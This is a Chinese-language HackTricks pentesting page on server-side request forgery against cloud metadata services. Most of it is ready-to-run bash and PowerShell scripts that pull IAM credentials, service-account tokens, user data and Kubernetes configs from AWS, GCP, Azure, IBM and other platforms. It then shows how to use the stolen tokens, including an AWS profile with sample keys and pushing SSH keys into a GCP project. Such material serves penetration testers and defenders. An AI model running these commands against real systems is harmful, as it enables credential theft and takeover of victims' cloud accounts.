hacktricks/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md

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# 云端SSRF
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<details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
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</details>
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
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## AWS
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### 在AWS EC2环境中滥用SSRF
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**元数据**端点可以从任何EC2机器内部访问并提供有关其的有趣信息。它可以在以下URL中访问`http://169.254.169.254`[有关元数据的信息在此处](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html))。
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元数据端点有**2个版本**。第一个版本允许通过**GET**请求访问端点(因此任何**SSRF都可以利用它**)。对于**版本2**[IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html),您需要发送带有**HTTP头**的**PUT**请求来请求一个**令牌**然后使用该令牌来通过另一个HTTP头访问元数据因此使用SSRF**更加复杂**)。
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{% hint style="danger" %}
请注意如果EC2实例正在强制执行IMDSv2[**根据文档**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html)**PUT请求的响应**将具有**1个跳数限制**这将使得无法从EC2实例内部的容器中访问EC2元数据。
此外,**IMDSv2**还将**阻止包含`X-Forwarded-For`头的请求以获取令牌**。这是为了防止配置错误的反向代理能够访问它。
{% endhint %}
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您可以在文档中找到有关[元数据端点的信息](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html)。在以下脚本中,从中获取了一些有趣的信息:
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```bash
EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
URL="http://169.254.169.254/latest/meta-data"
aws_req=""
if [ "$(command -v curl)" ]; then
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aws_req="curl -s -f -H '$HEADER'"
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elif [ "$(command -v wget)" ]; then
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aws_req="wget -q -O - -H '$HEADER'"
else
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
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fi
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printf "ami-id: "; eval $aws_req "$URL/ami-id"; echo ""
printf "instance-action: "; eval $aws_req "$URL/instance-action"; echo ""
printf "instance-id: "; eval $aws_req "$URL/instance-id"; echo ""
printf "instance-life-cycle: "; eval $aws_req "$URL/instance-life-cycle"; echo ""
printf "instance-type: "; eval $aws_req "$URL/instance-type"; echo ""
printf "region: "; eval $aws_req "$URL/placement/region"; echo ""
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echo ""
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echo "Account Info"
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eval $aws_req "$URL/identity-credentials/ec2/info"; echo ""
eval $aws_req "http://169.254.169.254/latest/dynamic/instance-identity/document"; echo ""
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echo ""
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echo "Network Info"
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for mac in $(eval $aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do
echo "Mac: $mac"
printf "Owner ID: "; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo ""
printf "Public Hostname: "; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo ""
printf "Security Groups: "; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo ""
echo "Private IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo ""
printf "Subnet IPv4: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo ""
echo "PrivateIPv6s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo ""
printf "Subnet IPv6: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo ""
echo "Public IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo ""
echo ""
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done
echo ""
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echo "IAM Role"
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eval $aws_req "$URL/iam/info"
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for role in $(eval $aws_req "$URL/iam/security-credentials/" 2>/dev/null); do
echo "Role: $role"
eval $aws_req "$URL/iam/security-credentials/$role"; echo ""
echo ""
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done
echo ""
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echo "User Data"
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# Search hardcoded credentials
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eval $aws_req "http://169.254.169.254/latest/user-data"
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echo ""
echo "EC2 Security Credentials"
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""
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```
作为公开可用的IAM凭证暴露示例您可以访问[http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)
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您还可以在以下位置检查公开的EC2安全凭证[http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
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然后您可以使用AWS CLI使用这些凭证。这将允许您执行该角色具有权限执行的任何操作。
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要利用新凭证您需要创建一个类似这样的新AWS配置文件
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```
[profilename]
aws_access_key_id = ASIA6GG7PSQG4TCGYYOU
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT5pUkyPJsjC
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=
```
注意**aws\_session\_token**,这对配置文件的工作至关重要。
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[**PACU**](https://github.com/RhinoSecurityLabs/pacu)可与发现的凭据一起使用,以查找您的权限并尝试提升权限
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### AWS ECS容器服务凭据中的SSRF
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**ECS**是一组逻辑EC2实例您可以在其中运行应用程序而无需扩展自己的集群管理基础设施因为ECS会为您管理。如果您成功地妥协了在**ECS**中运行的服务,则**元数据端点会发生变化**。
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如果您访问_**http://169.254.170.2/v2/credentials/\<GUID>**_您将找到ECS机器的凭据。但首先您需要**找到\<GUID>**。要找到\<GUID>,您需要读取机器内的**environ**变量**AWS\_CONTAINER\_CREDENTIALS\_RELATIVE\_URI**。\
您可以利用**路径遍历**来读取它,访问`file:///proc/self/environ`\
上述的http地址应该提供给您**AccessKey、SecretKey和token**。
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```bash
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curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
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```
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{% hint style="info" %}
请注意,在**某些情况下**,您可以从容器中访问**EC2元数据实例**请检查之前提到的IMDSv2 TTL限制。在这些情况下您可以从容器中访问容器IAM角色和EC2 IAM角色。
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{% endhint %}
### 用于AWS Lambda的SSRF <a href="#id-6f97" id="id-6f97"></a>
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在这种情况下,**凭据存储在环境变量**中。因此,要访问它们,您需要访问类似于**`file:///proc/self/environ`**的内容。
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**有趣的环境变量的名称**包括:
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- `AWS_SESSION_TOKEN`
- `AWS_SECRET_ACCESS_KEY`
- `AWS_ACCES_KEY_ID`
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此外除了IAM凭据Lambda函数还具有在启动函数时传递给函数的**事件数据**。此数据通过[运行时接口](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html)提供给函数,并且可能包含**敏感信息**(例如**stageVariables**中的信息。与IAM凭据不同此数据可通过标准SSRF在**`http://localhost:9001/2018-06-01/runtime/invocation/next`**上访问。
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{% hint style="warning" %}
请注意,**Lambda凭据**位于**环境变量**中。因此如果Lambda代码的**堆栈跟踪**打印环境变量,可能会通过在应用程序中**引发错误**来**外泄**它们。
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{% endhint %}
### 用于AWS Elastic Beanstalk的SSRF URL <a href="#id-6f97" id="id-6f97"></a>
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我们从API中检索`accountId`和`region`。
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```
http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
```
我们随后从API中检索`AccessKeyId`、`SecretAccessKey`和`Token`。
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```
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
```
![](https://miro.medium.com/max/60/0\*4OG-tRUNhpBK96cL?q=20) ![](https://miro.medium.com/max/1469/0\*4OG-tRUNhpBK96cL)
然后我们使用这些凭据执行 `aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/`
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## GCP <a href="#id-6440" id="id-6440"></a>
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您可以在[**此处找到有关元数据端点的文档**](https://cloud.google.com/appengine/docs/standard/java/accessing-instance-metadata)。
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### Google Cloud 的 SSRF URL <a href="#id-6440" id="id-6440"></a>
需要使用 HTTP 头部 **`Metadata-Flavor: Google`**,您可以通过以下 URL 访问元数据端点:
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* http://169.254.169.254
* http://metadata.google.internal
* http://metadata
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用于提取信息的有趣端点:
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```bash
# /project
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# Project name and number
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
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# Project attributes
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/attributes/?recursive=true
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# /oslogin
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# users
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curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/users
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# groups
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curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/groups
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# security-keys
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curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/security-keys
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# authorize
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curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/authorize
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# /instance
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# Description
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/description
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# Hostname
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/hostname
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# ID
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
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# Image
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/image
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# Machine Type
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/machine-type
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# Name
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/name
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# Tags
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curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/scheduling/tags
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# Zone
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curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
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# User data
curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/attributes/startup-script"
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# Network Interfaces
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for iface in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/"); do
echo " IP: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/ip")
echo " Subnetmask: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask")
echo " Gateway: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/gateway")
echo " DNS: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/dns-servers")
echo " Network: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/network")
echo " ============== "
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done
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# Service Accounts
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for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo " Name: $sa"
echo " Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo " Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo " Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo " Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo " Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo " ============== "
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done
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# K8s Attributtes
## Cluster location
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curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-location
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## Cluster name
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curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-name
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## Os-login enabled
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curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/enable-oslogin
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## Kube-env
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curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-env
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## Kube-labels
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curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-labels
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## Kubeconfig
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curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kubeconfig
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# All custom project attributes
curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true&alt=text" \
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-H "Metadata-Flavor: Google"
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# All custom project attributes instance attributes
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \
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-H "Metadata-Flavor: Google"
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```
Beta目前不需要标题感谢Mathias Karlsson @avlidienbrunn
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```
http://metadata.google.internal/computeMetadata/v1beta1/
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
```
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{% hint style="danger" %}
为了使用**外泄的服务账户令牌**,你可以执行以下操作:
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```bash
# Via env vars
export CLOUDSDK_AUTH_ACCESS_TOKEN=<token>
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gcloud projects list
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# Via setup
echo "<token>" > /some/path/to/token
gcloud config set auth/access_token_file /some/path/to/token
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gcloud projects list
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gcloud config unset auth/access_token_file
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```
{% endhint %}
### 添加一个SSH密钥 <a href="#id-3e24" id="id-3e24"></a>
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提取令牌
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```
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json
```
检查令牌的范围(使用先前的输出或运行以下内容)
```bash
curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA {
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"issued_to": "101302079XXXXX",
"audience": "10130207XXXXX",
"scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring",
"expires_in": 2443,
"access_type": "offline"
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}
```
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现在推送SSH密钥。
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{% code overflow="wrap" %}
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```bash
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curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata"
-H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA"
-H "Content-Type: application/json"
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--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'
```
{% endcode %}
### 云函数 <a href="#id-9f1f" id="id-9f1f"></a>
元数据端点的工作方式与虚拟机中的相同,但没有一些端点:
```bash
# /project
# Project name and number
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
# /instance
# ID
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
# Zone
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
# Auto MTLS config
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/platform-security/auto-mtls-configuration
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo " Name: $sa"
echo " Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo " Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo " Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo " Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo " Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo " ============== "
done
```
## Digital Ocean <a href="#id-9f1f" id="id-9f1f"></a>
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{% hint style="warning" %}
Digital Ocean没有像AWS Roles或GCP service account这样的东西所以不要期望找到元数据机器凭证。
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{% endhint %}
文档可在[`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/)找到。
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```
curl http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1.json
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http://169.254.169.254/metadata/v1/
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http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/user-data
http://169.254.169.254/metadata/v1/hostname
http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/addressAll in one request:
curl http://169.254.169.254/metadata/v1.json | jq
```
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## Azure <a href="#cea8" id="cea8"></a>
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### Azure虚拟机
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[**此处的文档**](https://learn.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service?tabs=linux)。
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- **必须**包含头部 `Metadata: true`
- 不得包含 `X-Forwarded-For` 头部
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{% tabs %}
{% tab title="Bash" %}
{% code overflow="wrap" %}
```bash
HEADER="Metadata:true"
URL="http://169.254.169.254/metadata"
API_VERSION="2021-12-13" #https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service?tabs=linux#supported-api-versions
echo "Instance details"
curl -s -f -H "$HEADER" "$URL/instance?api-version=$API_VERSION"
echo "Load Balancer details"
curl -s -f -H "$HEADER" "$URL/loadbalancer?api-version=$API_VERSION"
echo "Management Token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/"
echo "Graph token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://graph.microsoft.com/"
echo "Vault token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://vault.azure.net/"
echo "Storage token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://storage.azure.com/"
```
{% endcode %}
{% endtab %}
{% tab title="PS" %}
```bash
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# Powershell
Invoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -NoProxy -Uri "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | ConvertTo-Json -Depth 64
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## User data
$userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance/compute/userData?api-version=2021- 01-01&format=text"
[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($userData))
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# Paths
/metadata/instance?api-version=2017-04-02
/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text
/metadata/instance/compute/userData?api-version=2021-01-01&format=text
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```
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### Azure App Service
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**env** 中,您可以获取 `IDENTITY_HEADER``IDENTITY_ENDPOINT` 的值。您可以使用这些值来获取一个令牌,以便与元数据服务器通信。
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大多数情况下,您希望获取以下资源之一的令牌:
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* [https://storage.azure.com](https://storage.azure.com/)
* [https://vault.azure.net](https://vault.azure.net/)
* [https://graph.microsoft.com](https://graph.microsoft.com/)
* [https://management.azure.com](https://management.azure.com/)
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```bash
# Check for those env vars to know if you are in an Azure app
echo $IDENTITY_HEADER
echo $IDENTITY_ENDPOINT
# You should also be able to find the folder:
ls /opt/microsoft
#and the file
ls /opt/microsoft/msodbcsql17
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# Get management token
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curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER
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# Get graph token
curl "$IDENTITY_ENDPOINT?resource=https://graph.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER
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# API
# Get Subscriptions
URL="https://management.azure.com/subscriptions?api-version=2020-01-01"
curl -H "Authorization: $TOKEN" "$URL"
# Get current permission on resources in the subscription
URL="https://management.azure.com/subscriptions/<subscription-uid>/resources?api-version=2020-10-01'"
curl -H "Authorization: $TOKEN" "$URL"
# Get permissions in a VM
URL="https://management.azure.com/subscriptions/<subscription-uid>/resourceGroups/Engineering/providers/Microsoft.Compute/virtualMachines/<VM-name>/providers/Microsoft.Authorization/permissions?api-version=2015-07-01"
curl -H "Authorization: $TOKEN" "$URL"
```
```powershell
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# API request in powershell to management endpoint
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$Token = 'eyJ0eX..'
$URI='https://management.azure.com/subscriptions?api-version=2020-01-01'
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$RequestParams = @{
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Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
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}
(Invoke-RestMethod @RequestParams).value
# API request to graph endpoint (get enterprise applications)
$Token = 'eyJ0eX..'
$URI = 'https://graph.microsoft.com/v1.0/applications'
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$RequestParams = @{
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Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
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}
(Invoke-RestMethod @RequestParams).value
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# Using AzureAD Powershell module witho both management and graph tokens
$token = 'eyJ0e..'
$graphaccesstoken = 'eyJ0eX..'
Connect-AzAccount -AccessToken $token -GraphAccessToken $graphaccesstoken -AccountId 2e91a4f12984-46ee-2736-e32ff2039abc
# Try to get current perms over resources
Get-AzResource
## The following error means that the user doesn't have permissions over any resource
Get-AzResource : 'this.Client.SubscriptionId' cannot be null.
At line:1 char:1
+ Get-AzResource
+ ~~~~~~~~~~~~~~
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+ CategoryInfo : CloseError: (:) [Get-AzResource],ValidationException
+ FullyQualifiedErrorId :
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Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResourceCmdlet
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```
## IBM Cloud <a href="#id-2af0" id="id-2af0"></a>
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{% hint style="warning" %}
请注意,在 IBM 云中,默认情况下未启用元数据,因此即使您在 IBM 云虚拟机内部,也可能无法访问元数据。
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{% endhint %}
{% code overflow="wrap" %}
```bash
export instance_identity_token=`curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\
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-H "Metadata-Flavor: ibm"\
-H "Accept: application/json"\
-d '{
"expires_in": 3600
}' | jq -r '(.access_token)'`
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# Get instance details
curl -s -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" -X GET "http://169.254.169.254/metadata/v1/instance?version=2022-03-01" | jq
# Get SSH keys info
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/keys?version=2022-03-01" | jq
# Get SSH keys fingerprints & user data
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01" | jq
# Get placement groups
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01" | jq
# Get IAM credentials
curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq
```
{% endcode %}
以下是各个平台元数据服务的文档,突出了可以访问实例配置和运行时信息的方法。每个平台都提供了独特的端点来访问其元数据服务。
## Packetcloud
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要访问Packetcloud的元数据可以在以下位置找到文档[https://metadata.packet.net/userdata](https://metadata.packet.net/userdata)
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## OpenStack/RackSpace
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不需要头部信息。可以通过以下方式访问元数据:
* `http://169.254.169.254/openstack`
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## HP Helion
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这里也没有提到需要头部信息。可以在以下位置访问元数据:
* `http://169.254.169.254/2009-04-04/meta-data/`
## Oracle Cloud
Oracle Cloud提供了一系列端点用于访问各种元数据方面
* `http://192.0.0.192/latest/`
* `http://192.0.0.192/latest/user-data/`
* `http://192.0.0.192/latest/meta-data/`
* `http://192.0.0.192/latest/attributes/`
## Alibaba
2022-04-28 16:01:33 +00:00
阿里巴巴提供了用于访问元数据的端点包括实例和镜像ID
* `http://100.100.100.200/latest/meta-data/`
* `http://100.100.100.200/latest/meta-data/instance-id`
* `http://100.100.100.200/latest/meta-data/image-id`
## Kubernetes ETCD
2022-04-28 16:01:33 +00:00
Kubernetes ETCD可以保存API密钥、内部IP地址和端口。访问方法如下
* `curl -L http://127.0.0.1:2379/version`
* `curl http://127.0.0.1:2379/v2/keys/?recursive=true`
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## Docker
可以在本地访问Docker元数据提供了有关容器和镜像信息检索的示例
* 通过Docker套接字访问容器和镜像元数据的简单示例
* `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash`
* 在容器内使用带有Docker套接字的curl
* `curl --unix-socket /var/run/docker.sock http://foo/containers/json`
* `curl --unix-socket /var/run/docker.sock http://foo/images/json`
## Rancher
可以使用以下方式访问Rancher的元数据
* `curl http://rancher-metadata/<version>/<path>`